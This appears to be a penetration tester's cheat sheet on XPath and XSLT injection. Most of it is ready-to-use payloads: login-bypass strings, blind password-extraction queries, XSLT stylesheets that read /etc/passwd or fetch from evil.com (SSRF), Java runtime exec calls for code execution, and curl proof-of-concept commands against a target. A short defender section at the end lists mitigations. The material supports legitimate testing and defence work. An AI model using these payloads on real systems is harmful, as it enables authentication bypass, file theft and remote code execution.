xpath-xslt

XPath + XSLT Injection

XPath Injection

XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.

Auth bypass

# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"

# Payload
user = "' or '1'='1"  → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='"  → returns all users

Blind extraction

# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions

XSLT Injection

Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.

document() function — file read

<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/>  ← SSRF

EXSLT — RCE on some engines

<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>

<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>

Reflected XSS via XSLT

<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->

Detection

• Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
• Apps using XPath: legacy intranets, file-based config querying, XML feeds

PoC

# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
EOF

Severity

• XPath auth bypass: Critical 9.8
• XSLT file read: Critical 9.0
• XSLT RCE: Critical 10.0
• Blind XPath extraction: High 7-8

Defender

• Use parameterized XPath via libraries (lxml.etree.XPath(expr) w/ variable bindings)
• Disable XSLT extensions by default
• Use XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE (libxslt)
• Sanitize / strict-validate XML input schema